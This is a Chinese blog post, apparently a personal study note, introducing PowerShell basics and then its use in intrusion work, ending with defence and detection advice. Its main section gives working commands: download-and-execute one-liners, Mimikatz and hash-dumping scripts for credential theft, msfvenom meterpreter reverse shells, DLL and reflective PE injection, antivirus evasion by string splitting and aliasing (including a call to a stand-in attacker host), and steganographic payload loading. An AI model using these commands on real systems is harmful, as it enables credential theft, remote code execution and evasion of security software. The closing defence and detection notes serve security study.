windows运维内网攻防

初识powershell及在渗透中的应用

2020-09-09  本文已影响0人  book4yi

文章仅作为学习记录,如有侵权,请联系删除!

简介:


PowerShell是一种基于任务的命令行shell和脚本语言,构建于.NET之上,通常用于管理基于Microsoft Windows的操作系统的技术(Linux和MacOS也可以使用)。Windows PowerShell的内置命令为cmdlets,用户可以使用其管理计算机,其具有完整的用户开发的脚本语言和丰富的表达式解析程序。

使用powershell的原因:

1.普适性强:从Windows 7 SP1开始,操作系统默认安装
2.易用性好:PowerShell代码易于动态生成;同时,可以很容易地嵌入恶意软件向量中,例如Office文档(通过使用宏)
3.隐秘性强:无须写到磁盘中,它可以直接在内存中运行
a).几乎没有留下可以追踪的痕迹
b).缺乏日志记录,PowerShell日志默认不能使用
c).易于混淆:自动化的工具可以大量反复地混淆PowerShell代码,使静态分析变得不可行
d).可绕过应用程序白名单

不同操作系统内置的Powershell是不一样的,各操作系统的PowerShell版本:

语法:

| 管道符的作用是将一个命令的输出作为另一个命令的输入
; 分号用来连续执行系统命令
&是调用操作符,它允许你执行命令,脚本或函数
双引号可以替换内部变量
双引号里的双引号,单引号里的单引号,写两遍输出

常用命令:

# 获取powershell所有命令:
Get-command

# 获取命令别名/缩写:
Get-alias

# 查看Powershell版本:
Get-Host
$PSVersionTable.PSVERSION
$psversiontable

#查看当前执行策略
Get-ExecutionPolicy

#设置执行的策略:
Set-ExecutionPolicy Bypass

#获取当前位置:
Get-Location

#查看系统变量:
$env:path

#获取输入的历史命令:
Get-History

#查看当前进程列表:
Get-Process

#查看登录到物理机的用户
Get-WmiObject -Class Win32_ComputerSystem |Select-object -ExpandProperty UserName

#获取当前时间:
Get-Date

#查看当前已经设置的变量:
ls variable:

#查看计算机的服务详细信息
Get-Service

#查看别名
Get-Alias -name dir  

Powershell常用快捷键:

Powershell变量基础:

Powershell的变量设置跟php很相似:

Powershell对大小写不敏感,a 和A 一样。变量也可以设置等于命令

$a=dir

Powershell支持多个变量同时赋值:

查找特定的变量值,星号表示代替所有的值(num开头)

ls variable:num*

查找变量是否存在:

删除变量:

del variable:num1
PowerShell的执行策略:

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。
powershell有六种执行策略:

Unrestricted: 权限最高,可以不受限制执行任意脚本
Restricted: 默认策略,不允许任意脚本的执行
AllSigned: 仅当脚本由受信任的发布者签名时才能运行
RemoteSigned: 本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass: 没有任何限制和提示
Undefined: 没有设置脚本的策略

默认情况下,禁止脚本执行。除非管理员更改执行策略。Set-ExecutionPolicy

绕过执行策略执行PowerShell脚本:

部分命令注释:

WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏
NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件
-command(-c):执行powershell脚本
-enc base64:把ps脚本编码成base64来执行
Invoke-expression(iex) :将字符串当作powershell代码执行
Set-Alias :给powershell函数以及变量赋予别称
Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要 

绕过执行策略执行大概有以下几种:
1、在cmd窗口执行远程下载的powershell脚本,不论当前策略,都可以直接运行。而powershell窗口不行

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')"

2、绕过本地权限执行:

powershell -exec bypass .\test.ps1

3、本地隐藏绕过权限执行脚本

powershell -exec bypass -w hidden -nop 

4、本地读取然后通过管道符运行

powershell Get-Content ./1.ps1 | powershell -NoProfile -
常见文件操作类的PowerShell命令:
# 新建目录test:
New-Item test -Itemtype directory
# 删除目录test:
Remove-Item test
# 新建文件test.txt:
New-Item test.txt -ItemType file
# 新建文件test.txt,并编辑内容为hello:
New-Item test.txt -ItemType file -value "hello"
# 删除文件test.txt:
Remove-Item test.txt
# 查看文件内容:
Get-content test.txt
# 编辑文件内容:
Set-Content test.txt -Value "Hello"
# 给文件末增添内容:
Add-Content test.txt -Value "book4yi"
# 清除文件内容:
Clear-Content test.txt
Powershell管道和重定向:

管道符:
管道也不是什么新鲜的事物了,cmd控制台也有重定向的命令。
传统的Cmd管道是基于文本的,但是Powershell管道是基于对象

powershell -c "ls | format-table name,mode"

重定向:
旨在把命令的输出保存到文件中,‘>’为覆盖,’>>’追加

powershell -c "ls | format-table name,mode" > ls.txt
Powershell远程下载文件:

管理员权限才可以下载到C盘目录下,普通权限不能下在到C盘下。DownloadFile函数必须提供两个参数

powershell (new-object system.net.webclient).DownloadFile('https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1','d:/test.ps1')
远程下载木马文件并执行exe:
powershell (new-object system.net.webclient).DownloadFile('http://192.168.107.129/5555.exe','e:/5555.exe');start-process e:/5555.exe

实验环境,PowerShell v5,它会在恶意脚本运行前对其进行检查,所以这里没能执行~

远程下载并执行Ps脚本:
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1')";Invoke-LoginPrompt
powershell读取明文密码(管理员权限):
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')";Invoke-Mimikatz
powershell读取密码hash:
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1')";Get-PassHashes
Powershell加载shellcode:

利用msf先生成木马

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.107.129 LPORT=8888 -f powershell -o /var/www/html/book4yi

目标机器上执行命令:

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')";IEX(New-Object Net.WebClient).DownloadString('http://192.168.107.129/book4yi');Invoke-Shellcode -Shellcode ($buf) -Force

个人觉得这里还是用CS比较方便~

Powershell远程加载exe木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.107.129 lport=5555 -f exe > /var/www/html/5555.exe 
powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.107.129/5555.exe -ForceASLR"

本地测试的时候,一下子就挂了。。理论上应该是可行的

Powershell-dll注入:

msf生成相应dll木马脚本:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.107.129 lport=4455 -f dll -o /var/www/html/book4yi.dll

将生成的dll上传到目标的C盘,然后执行以下命令:

powershell Start-Process c:\windows\system32\calc.exe -WindowStyle Hidden
powershell ps | findstr "calc"
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1');Invoke-DllInjection -ProcessID 5060 -Dll C:\Users\tester\Desktop\book4yi.dll

创建新的进程启动记事本,并设置为隐藏
使用calc.exe的PID
使用Invoke-DLLinjection脚本,启动新的进程进行dll注入

成功反弹meterpreter session

bypass AV:


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.107.129 LPORT=5555 -f psh-reflection >a.ps1

对于IEX这种方便快捷的方式直接运行会被360拦截。可尝试从语法上简单变化。
主要是对DownloadString、http做一些处理。

powershell.exe 
"
$c1='powershell -c IEX';
$c2='(New-Object Net.WebClient).Downlo';
$c3='adString(''http://192.168.107.129/a.ps1'')';
echo ($c1+$c2+$c3)
"

先将命令拆分为字符串,然后进行拼接。
需要注意的是双引号可以输出变量,两个单引号连用才能输出一个单引号。

成功输出该命令。echo修改为IEX即可运行

也可以使用replace替换函数,bypass

powershell "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.107.129/a.ps1'')'.Replace('123','adString');echo ($c1+$c2)"

也可以对http字符进行绕过,同样可以bypass

powershell "$a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://192.168.107.129/a.ps1''))';IEX ($a+$b)"

通过变量赋予别称绕过一些AV对某些关键词的拦截,比如:downloadstring

powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://attacker.ip/payload.ps1')
免杀脚本:Invoke-PSImage.ps1:

项目地址:https://github.com/peewpw/Invoke-PSImage
原理:

主要把payload分散存到图片的像素中,最后到远端执行时,再重新遍历重组像素中的payload执行

在利用的时候需要准备一张足够大的图片:

执行如下命令:

powershell import-module .\Invoke-PSImage.ps1;Invoke-PSImage -Script .\5566_x64.ps1 -Im age .\lu.jpg -Out .\reverse_shell.png -Web

-Out 生成reverse_shell.png图片,-Web 输出从web读取的命令

并将reverse_shell.png移动至web目录,替换url地址
在目标机器上执行:

powershell -c "sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead('http://192.168.107.129/reverse_shell.png'));$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..2855]))"

Powershell防御手段:


1、约束语言模式:
禁止直接访问.NET脚本,通过Add-Type cmdlet调用Win32 API以及与COM对象进行交互(注意:请谨慎操作,这样可能会影响一些现有的PowerShell管理任务)

2、升级到PowerShell v5(该版本增加了许多安全功能,具有更加良好的安全性)
a).脚本块日志:允许管理员查看脚本试图执行的操作,在该版本之前,未记录此活动
b).系统级监控
c).反恶意软件集成(在v3中实现):AMSI(反恶意软件扫描接口)为其他安全厂商提供了一个接口,以便在脚本运行前对其进行检查
d).Applocker:根据Applocker策略验证脚本

3、记录PowerShell活动:
通过组策略为各种PowerShell模块启用日志记录

4、删除PowerShell v2
较旧的不安全脚本,在安装v5版本时不会被删除。如果该版本仍存在,攻击者就仍然可以使用这一不安全的版本
powershell.exe -Version 2.0 -Command {

5、代码签名
对PowerShell脚本进行代码签名,并且仅运行已经签名的脚本

6、使用Just Enough Administration(JEA)限制管理员权限
通过PowerShell远程处理启用基于角色的管理员,这样就可以限制登录用户所执行的操作

Powershell恶意脚本检测:


PowerShell允许我们使用Invoke-WebRequest、System.Net.WebClient和Start-BitsTransfer来下载文件。随后,我们可以使用Start-Process、Invoke-item或Invoke-Expression来运行下载的文件。如果我们发现了上述这样的组合,并且了解到管理员并没有利用这些工具来下载并执行文件,那么就证明很可能是恶意的,需要引起我们的关注。
除了下载文件之外,System.Net.Webclient还允许我们将文件的内容直接下载到位于内存的正在运行的进程中,随后运行。这也就是众所周知的“无文件恶意软件”,用于尝试绕过传统的反病毒产品
常用的两种命令:
(New-object System.net.webclient).Downloadfile() 将文件下载到磁盘
(New-object System.net.webclient).DownloadString() 将内容直接移动到内存中

另一个方式,我们可以查看其他进程派生出的进程,也就是查看某一特定进程的父进程和祖父进程。这里最为重要的,是我们需要首先掌握合法的父子进程关系,才能判断出异常的父子进程关系
举个例子:
由explorer.exe派生出powershell.exe,这是正常的典型行为,但是如果发现cmd.exe是powershell.exe的父进程,则这会非常可疑

此外,如果PowerShell尝试下载内容,那么我们可以识别目标IP地址。我们还需要关注每次启动时使用随机脚本名称但扩展名保持不变的情况

还有一些标志选项,可以帮助我们寻找或检测到恶意PowerShell活动:

1、Exec Bypass:在设置执行策略后,该标志可以允许绕过策略。我们可能会设置一些用于提升安全性的限制,但该标志可能会绕过其中的一些限制。
2、WindowsStyle hidden:该标志将导致PowerShell界面对用户不可见,用于隐藏窗口。
3、Nop或Noprofile:该标志将忽略计算机中预先设置好的配置文件。
4、Enc或Encode:将使用Base64进行编码。
5、Mixed Case:将使用大小写字母混合的方式。
6、lex:运行命令或表达式。

参考如下:


PowerShell若干问题的研究
技术干货 | PowerShell使用浅析
渗透技巧之Powershell实战技巧
攻击与防御的双刃剑:深入分析PowerShell的两面性
网络安全自学篇(十九)| Powershell基础入门及常见用法(一)
网络安全自学篇(二十)| Powershell基础入门及常见用法(二)

上一篇下一篇

猜你喜欢

热点阅读